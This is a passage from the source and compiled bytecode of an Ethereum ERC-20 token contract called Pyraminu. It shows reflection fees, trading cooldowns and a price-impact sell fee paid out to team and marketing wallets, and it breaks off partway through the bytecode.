function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PYRAMINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Pyraminu";
string private constant _symbol = unicode"PYRAMINU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600881526020017f507972616d696e75000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f505952414d494e55000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960028461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660088461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f